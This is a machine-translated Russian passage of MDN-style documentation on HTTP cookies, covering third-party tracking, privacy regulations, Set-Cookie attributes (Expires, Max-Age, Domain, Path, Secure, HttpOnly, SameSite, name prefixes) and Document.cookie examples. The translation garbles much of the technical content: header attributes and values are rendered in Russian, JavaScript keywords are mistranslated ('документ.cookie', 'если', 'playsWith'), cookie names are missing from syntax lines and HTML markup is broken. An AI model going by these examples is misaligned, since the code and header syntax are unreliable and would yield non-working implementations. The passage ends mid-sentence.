Файл cookie связан с доменом.Если этот домен совпадает с доменом страницы, на которой вы находитесь, файл cookie называется основным файлом cookie . Если домен другой, это сторонний файл cookie . Хотя сервер, на котором размещена веб-страница, устанавливает собственные файлы cookie, страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах (например, рекламные баннеры), которые могут устанавливать сторонние файлы cookie. В основном они используются для рекламы и отслеживания в Интернете. Например, типы файлов cookie, используемых Google.

Сторонний сервер может создать профиль истории просмотров и привычек пользователя на основе файлов cookie, отправленных ему одним и тем же браузером при доступе к нескольким сайтам. Firefox по умолчанию блокирует сторонние файлы cookie, которые, как известно, содержат трекеры. Сторонние файлы cookie (или просто файлы cookie отслеживания) также могут быть заблокированы другими настройками или расширениями браузера. Блокировка файлов cookie может привести к тому, что некоторые сторонние компоненты (например, виджеты социальных сетей) не будут работать должным образом.

Примечание. Серверы могут (и должны) установить атрибут SameSite cookie, чтобы указать, можно ли отправлять файлы cookie на сторонние сайты.

Правила, касающиеся файлов cookie

Законодательство или нормативные акты, регулирующие использование файлов cookie, включают:

  • Общие правила конфиденциальности данных (GDPR) в Европейском Союзе
  • Директива о конфиденциальности в ЕС
  • Закон Калифорнии о конфиденциальности потребителей

Эти правила имеют глобальный охват. Они применяются к любому сайту в сети World Wide , к которому имеют доступ пользователи из этих юрисдикций (ЕС и Калифорния, с оговоркой, что закон Калифорнии применяется только к организациям с валовой выручкой более 25 миллионов долларов США, в том числе вещи).

Эти правила включают такие требования, как:

  • Уведомление пользователей о том, что ваш сайт использует файлы cookie.
  • Разрешить пользователям отказаться от получения некоторых или всех файлов cookie.
  • Разрешить пользователям использовать большую часть вашего сервиса без получения файлов cookie.

Могут существовать другие правила, регулирующие использование файлов cookie в вашем регионе. Вы должны знать и соблюдать эти правила. Есть компании, которые предлагают код «баннера cookie», который помогает вам соблюдать эти правила.

Другой подход к хранению данных в браузере — это API веб-хранилища. Свойства window.sessionStorage и window.localStorage соответствуют сессионным и постоянным куки-файлам по продолжительности, но имеют большие пределы хранения, чем куки-файлы, и никогда не отправляются на сервер. Более структурированные и большие объемы данных можно хранить с помощью API IndexedDB или библиотеки, построенной на нем.

Есть несколько методов, предназначенных для воссоздания файлов cookie после их удаления. Они известны как «зомби-куки».Эти методы нарушают принципы конфиденциальности и контроля пользователей, могут нарушать правила конфиденциальности данных и могут подвергнуть веб-сайт, использующий их, юридической ответственности.

Set-Cookie — HTTP | MDN

Заголовок HTTP-ответа Set-Cookie используется для отправки файла cookie с сервера пользовательскому агенту, чтобы пользовательский агент мог позже отправить его обратно на сервер. Чтобы отправить несколько файлов cookie, необходимо отправить несколько заголовков Set-Cookie в одном ответе.

Для получения дополнительной информации см. Руководство по использованию файлов cookie HTTP.

 Set-Cookie:  = 
Set-Cookie:  = ; Срок действия истекает = <дата>
Set-Cookie:  = ; Максимальный возраст = <число>
Set-Cookie:  = ; Домен = <значение-домена>
Set-Cookie:  = ; Путь = <значение-пути>
Set-Cookie:  = ; Безопасный
Set-Cookie:  = ; HttpOnly

Set-Cookie:  = ; SameSite = Строгий
Set-Cookie:  = ; SameSite = Lax
Set-Cookie:  = ; SameSite = Нет; Безопасный

// Также возможно несколько атрибутов, например:
Set-Cookie:  = ; Домен = <значение-домена>; Безопасный; HttpOnly
 
=

Определяет имя файла cookie и его значение.Определение cookie начинается с пары имя-значение.

может содержать любые символы US-ASCII, кроме: управляющего символа, пробела или табуляции. Он также не должен содержать символов-разделителей, подобных следующим: () <> @,; : \ "/ []? = {} .

можно дополнительно заключить в двойные кавычки и включить любой символ US-ASCII, за исключением управляющего символа, пробелов, двойных кавычек, запятой, точки с запятой и обратной косой черты.

Кодирование : Многие реализации выполняют кодирование URL для значений файлов cookie. Однако этого не требует спецификация RFC. Кодировка URL-адреса действительно помогает удовлетворить требования к символам, разрешенным для .

Примечание: Некоторые имеют особую семантику:

__Secure- префикс : файлы cookie с именами, начинающимися с __Secure- (тире является частью префикса) должен быть установлен с помощью флага secure с защищенной страницы (HTTPS).

__Host- prefix : Cookies с именами, начинающимися с __Host- должны быть установлены с флагом secure , должны быть с защищенной страницы (HTTPS), не должны иметь указанного домена (и, следовательно, не отправлено в поддомены), а путь должен быть /.

Истекает = <дата> Необязательно

Указывает максимальное время жизни файла cookie в виде метки времени HTTP-даты.См. Дата для необходимого форматирования.

Если не указано иное, файл cookie становится файлом cookie сеанса . Сеанс завершается, когда клиент завершает работу, после чего файл cookie сеанса удаляется.

Предупреждение: Многие веб-браузеры имеют функцию восстановления сеанса , которая сохранит все вкладки и восстановит их при следующем использовании браузера. Сеансовые куки также будут восстановлены, как если бы браузер никогда не закрывался.

Когда установлена ​​дата Expires , крайний срок относится к клиенту , на который устанавливается cookie, а не к серверу.

Макс.-возраст = <число> Необязательно

Указывает количество секунд до истечения срока действия файла cookie. Нулевое или отрицательное число приведет к немедленному истечению срока действия cookie. Если установлены оба значения Expires и Max-Age , приоритет имеет значение Max-Age .

Домен = <значение-домена> Необязательно

Определяет хост, на который будет отправлен файл cookie.

Если опущено, этот атрибут по умолчанию соответствует узлу URL-адреса текущего документа, не включая поддомены.

В отличие от предыдущих спецификаций, ведущие точки в доменных именах ( .example.com ) игнорируются.

Несколько значений хоста / домена: не разрешено , но если указан домен , то поддомены всегда включаются.

Путь = <значение-пути> Необязательно

Указывает путь, по которому должен существовать в запрошенном URL-адресе, чтобы браузер отправлял заголовок Cookie .

Косая черта (/) интерпретируется как разделитель каталогов, и подкаталоги также сопоставляются. Например, для Path = / docs ,

  • пути запросов / docs , / docs / , / docs / Web / и / docs / Web / HTTP будут совпадать.
  • пути запроса /, / docsets , / fr / docs не будут совпадать.
Secure Дополнительно

Указывает, что файл cookie отправляется на сервер только при запросе по схеме https: (кроме localhost) и, следовательно, более устойчив к атакам типа «злоумышленник в середине».

Примечание: Не предполагайте, что Secure предотвращает любой доступ к конфиденциальной информации в файлах cookie (ключи сеанса, данные для входа и т. Д.). Файлы cookie с этим атрибутом могут быть прочитаны / изменены либо с доступом к жесткому диску клиента, либо из JavaScript, если атрибут HttpOnly cookie не установлен.

Небезопасные сайты ( http: ) не могут устанавливать файлы cookie с атрибутом Secure (начиная с Chrome 52 и Firefox 52).Для Firefox требования https: игнорируются, если атрибут Secure установлен локальным хостом (начиная с Firefox 75).

HttpOnly Дополнительно

Запрещает JavaScript доступ к cookie, например, через свойство Document.cookie . Обратите внимание, что файл cookie, созданный с помощью HttpOnly , по-прежнему будет отправляться с запросами, инициированными JavaScript, например, при вызове XMLHttpRequest.send () или fetch () . Это снижает риск атак на межсайтовый скриптинг (XSS).

SameSite = Необязательно

Управляет отправкой файлов cookie с запросами из разных источников, обеспечение некоторой защиты от атак с подделкой межсайтовых запросов (CSRF).

Возможные значения атрибута: Strict , Lax и None .

Строгий означает, что браузер отправляет cookie только для запросов к тому же сайту, то есть запросов, исходящих с того же сайта, который установил cookie.Если запрос исходит от URL-адреса, отличного от текущего, файлы cookie с атрибутом SameSite = Strict не отправляются.

Lax означает, что файл cookie не отправляется по межсайтовым запросам, например, по запросам на загрузку изображений или фреймов, но отправляется, когда пользователь переходит на исходный сайт с внешнего сайта (например, при переходе по ссылке). Это поведение по умолчанию, если атрибут SameSite не указан.

Нет. означает, что браузер отправляет cookie как с межсайтовыми, так и с межсайтовыми запросами. Атрибут Secure также должен быть установлен при установке этого значения, например, SameSite = None; Безопасность

Примечание. Стандарты, относящиеся к файлам cookie SameSite, недавно изменились, так что:

  1. Поведение при отправке файлов cookie, если SameSite не указано, равно SameSite = Lax .Раньше по умолчанию для всех запросов отправлялись файлы cookie.
  2. Файлы cookie с SameSite = None должны сейчас также укажите атрибут Secure (т.е. они требуют безопасного контекста).

См. Информацию о конкретной реализации браузера в таблице совместимости браузеров (строки: « SameSite : по умолчанию Lax » и « SameSite : требуется безопасный контекст»).

Сеансовые куки

Сессионные куки удаляются при завершении работы клиента.Файлы cookie являются сеансовыми файлами cookie, если в них не указан атрибут Expires или Max-Age .

 Set-Cookie: sessionId = 38afes7a8
 

Постоянный файл cookie

Постоянный файл cookie удаляется в определенную дату ( Expires ) или через определенный промежуток времени ( Max-Age ), а не при закрытии клиента.

 Set-Cookie: id = a3fWa; Срок действия истекает = среда, 21 октября 2015 г., 07:28:00 GMT
 
 Set-Cookie: id = a3fWa; Максимальный возраст = 25

Недействительные домены

Файл cookie для домена, который не включает сервер, который его установил, должен быть отклонен пользовательским агентом.

Следующий файл cookie будет отклонен, если он установлен сервером, размещенным на originalcompany.com :

 Set-Cookie: qwerty = 219ffwef9w0f; Домен = somecompany.co.uk
 

Файл cookie для поддомена обслуживающего домена будет отклонен.

Следующий файл cookie будет отклонен, если он установлен сервером, размещенным на example.com :

 Set-Cookie: sessionId = e8bb43229de9; Домен = foo.example.com
 

Префиксы файлов cookie

Имена файлов cookie с префиксом __Secure- или __Host- могут использоваться, только если они установлены с атрибутом secure из безопасного (HTTPS) источника.

Кроме того, файлы cookie с префиксом __Host- должны иметь путь / (что означает любой путь на хосте) и не должны иметь атрибута Domain .

Предупреждение: Для клиентов, которые не реализуют префиксы файлов cookie, вы не можете рассчитывать на эти дополнительные гарантии, и файлы cookie с префиксом всегда будут приниматься.

 // Оба приняты, если из безопасного источника (HTTPS)
Set-Cookie: __Secure-ID = 123; Безопасный; Домен = example.com
Set-Cookie: __Host-ID = 123; Безопасный; Путь = /

// Отклонено из-за отсутствия атрибута Secure
Установить-Cookie: __Secure-id = 1

// Отклонено из-за отсутствия атрибута Path = /
Set-Cookie: __Host-id = 1; Безопасный

// Отклонено из-за установки домена
Set-Cookie: __Host-id = 1; Безопасный; Путь = /; Домен = пример.ком
 

Таблицы BCD загружаются только в браузере

  • Начиная с Chrome 52 и Firefox 52, незащищенные сайты ( http: ) больше не могут устанавливать файлы cookie с атрибутом Secure .

Document.cookie — веб-API | MDN

Свойство Document cookie позволяет вы читаете и записываете файлы cookie, связанные с документом. Он служит получателем и установщиком фактических значений печенье.

Прочитать все файлы cookie, доступные из этого места

  allCookies = document.cookie;
  

В коде выше allCookies — это строка, содержащая Список всех файлов cookie, разделенных точкой с запятой (т. е. ключ = значение пар). Обратите внимание, что каждый ключ , и значение может быть окружено пробелами (пробелами и символами табуляции): на самом деле, RFC 6265 требует одного пробела после каждой точки с запятой, но некоторые пользовательские агенты могут не соблюдайте этого.

Записать новый файл cookie

  document.cookie = newCookie;
  

В приведенном выше коде newCookie представляет собой строку формы ключ = значение .Обратите внимание, что вы можете установить / обновить только один файл cookie за раз, используя этот метод. Учтите также, что:

  • Любое из следующих значений атрибута cookie может опционально следовать за парой «ключ-значение» пара, определяющая файл cookie для установки / обновления, которому предшествует разделитель точка с запятой:
    • ; путь = путь (например, ‘/‘, ‘ / mydir ‘) Если не указано, по умолчанию используется текущий путь текущего местоположения документа.

      Примечание: до Gecko 6.0, пути с кавычками обрабатывались так, как если бы кавычки были частью строки, вместо того, чтобы быть разделителями, окружающими фактический путь нить. Это было исправлено.

    • ; домен = домен (например, « example.com » или « subdomain.example.com »). Если не указано, по умолчанию используется основная часть текущего документа место нахождения. В отличие от предыдущих спецификаций, ведущие точки в доменных именах игнорируются, но браузеры могут отказать в установке файла cookie, содержащего такие точки.Если указан домен, всегда включаются поддомены.

      Примечание: Домен должен соответствовать домен происхождения JavaScript. Установка файлов cookie на иностранные домены будут игнорироваться.

    • ; макс-возраст = макс-возраст в секундах (например, 60 * 60 * 24 * 365 или 31536000 на год)
    • ; expires = date-in-GMTString-format Если ни то, ни другое истекает и не указан максимальный возраст , срок его действия истекает в конец сеанса.

      Предупреждение: Когда конфиденциальность пользователя вызывает беспокойство, важно, чтобы любое веб-приложение реализация делает недействительными данные cookie после определенного тайм-аута вместо того, чтобы полагаться на браузер. Многие браузеры позволяют пользователи указывают, что файлы cookie никогда не должны истекать, что не является обязательно безопасно.

    • ; безопасный Cookie только для передачи по безопасному протоколу как https.До Chrome 52 этот флаг мог появиться с файлами cookie из http-доменов.
    • ; samesite SameSite запрещает браузеру отправлять этот файл cookie вместе с межсайтовым Запросы. Возможные значения: lax , строго или нет .
      • Значение lax отправит cookie для всех сайтов того же сайта. запросы и запросы GET навигации верхнего уровня. Этого достаточно для отслеживания пользователей, но это предотвратит многие атаки с подделкой межсайтовых запросов (CSRF).Это значение по умолчанию в современных браузерах.
      • Значение strict предотвратит сохранение файла cookie. отправляется браузером на целевой сайт во всех межсайтовых просмотрах контексты, даже при переходе по обычной ссылке.
      • Значение none явно указывает, что никакие ограничения не будут применяться. Файл cookie будет отправляться во всех запросах — в обоих межсайтовый и тот же сайт.
  • Строка значения cookie может использовать encodeURIComponent () , чтобы гарантировать, что строка не содержит запятых, точки с запятой или пробелы (которые запрещены в значениях файлов cookie).
  • Некоторые реализации пользовательских агентов поддерживают следующие префиксы файлов cookie:
    • __Secure- Сообщает браузеру, что он должен включать только файл cookie в запросах, передаваемых по защищенному каналу.
    • __Host- Сообщает браузеру, что в дополнение к ограничение на использование файлов cookie только из безопасного источника, объем cookie ограничен атрибутом пути, передаваемым сервером. Если сервер опускает атрибут пути «каталог» URI запроса использовал. Это также сигнализирует о том, что атрибут домена не должен присутствовать, что предотвращает отправку cookie в другие домены. Для Chrome путь атрибут всегда должен быть источником.

    Примечание: тире считается частью префикса.

    Примечание: Эти флаги можно установить только с secure атрибут.

Примечание: Как видно из приведенного выше кода, document.cookie — это свойство доступа с собственными функциями установки и getter , и, следовательно, это , а не свойство данных со значением: что вы пишете это не то же самое, что вы читаете, все всегда обрабатывается интерпретатором JavaScript.

Пример №1: Простое использование

 



document.cookie = "name = oeschger; SameSite = None; Secure";
document.cookie = "favourite_food = tripe; SameSite = None; Secure";

function showCookies () {
  const output = document.getElementById ('куки')
  output.textContent = '>' + document.cookie
}

function clearOutputCookies () {
  const output = document.getElementById ('куки')
  output.textContent = ''
}
  
  

<кнопка>
  Прозрачный


Пример № 2: Получите образец файла cookie с именем

test2
 



документ.cookie = "test1 = Hello; SameSite = None; Secure";
document.cookie = "test2 = World; SameSite = None; Secure";

const cookieValue = document.cookie
  .расколоть('; ')
  .find (строка => row.startsWith ('test2 ='))
  .split ('=') [1];

function showCookieValue () {
  const output = document.getElementById ('значение cookie')
  output.textContent = '>' + cookieValue
}

function clearOutputCookieValue () {
  const output = document.getElementById ('значение cookie')
  output.textContent = ''
}
  
  

<кнопка>
  Прозрачный


Пример № 3: Сделать что-то только один раз

Чтобы использовать следующий код, замените все вхождения слова doSomethingOnlyOnce (имя файла cookie) с настраиваемым именем.

  function doOnce () {
  if (! document.cookie.split (';') .find (row => row.startsWith ('doSomethingOnlyOnce'))) {
    
    
    
    
    document.cookie = "doSomethingOnlyOnce = true; expires = Fri, 31 Dec 9999 23:59:59 GMT; SameSite = None; Secure";

    const output = document.getElementById ('сделать один раз')
    output.textContent = '> Сделай что-нибудь здесь!'
  }
}

function clearOutputDoOnce () {
  const output = document.getElementById ('сделать один раз')
  output.textContent = ''
}
  
  

<кнопка>
  Прозрачный


Пример № 4: Сброс предыдущего файла cookie

  function resetOnce () {
  
  
  
  
  документ.cookie = "doSomethingOnlyOnce =; expires = Thu, 01 января 1970 00:00:00 GMT; SameSite = None; Secure";

  const output = document.getElementById ('сбросить один раз')
  output.textContent = '> Сброс!'
}

function clearOutputResetOnce () {
  const output = document.getElementById ('сбросить один раз')
  output.textContent = ''
}
  
  

<кнопка>
  Прозрачный


Пример № 5: Проверка существования файла cookie

 



документ.cookie = "reader = 1; SameSite = None; Secure";

function checkACookieExists () {
  if (document.cookie.split (';'). some ((item) => item.trim (). playsWith ('reader ='))) {
    const output = document.getElementById ('существование-cookie')
    output.textContent = '> Читатель cookie существует'
  }
}

function clearOutputACookieExists () {
  const output = document.getElementById ('существование-cookie')
  output.textContent = ''
}
  
  <кнопка>
  Убедитесь, что файл cookie существует


<кнопка>
  Прозрачный


Пример № 6: Убедитесь, что cookie имеет определенное значение

  function checkCookieHasASpecificValue () {
  если (документ.cookie.split (';'). some ((item) => item.includes ('reader = 1'))) {
    const output = document.getElementById ('значение-файла cookie')
    output.textContent = '> «Читатель» cookie имеет значение «1»'
  }
}

function clearASpecificValueOfTheCookie () {
  const output = document.getElementById ('значение-файла cookie')
  output.textContent = ''
}
  
  <кнопка>
  Убедитесь, что cookie имеет определенное значение


<кнопка>
  Прозрачный


Важно отметить, что атрибут пути не защищает , а не . от несанкционированного чтения cookie с другого пути.Это может быть легко обходится с помощью DOM, например, путем создания скрытого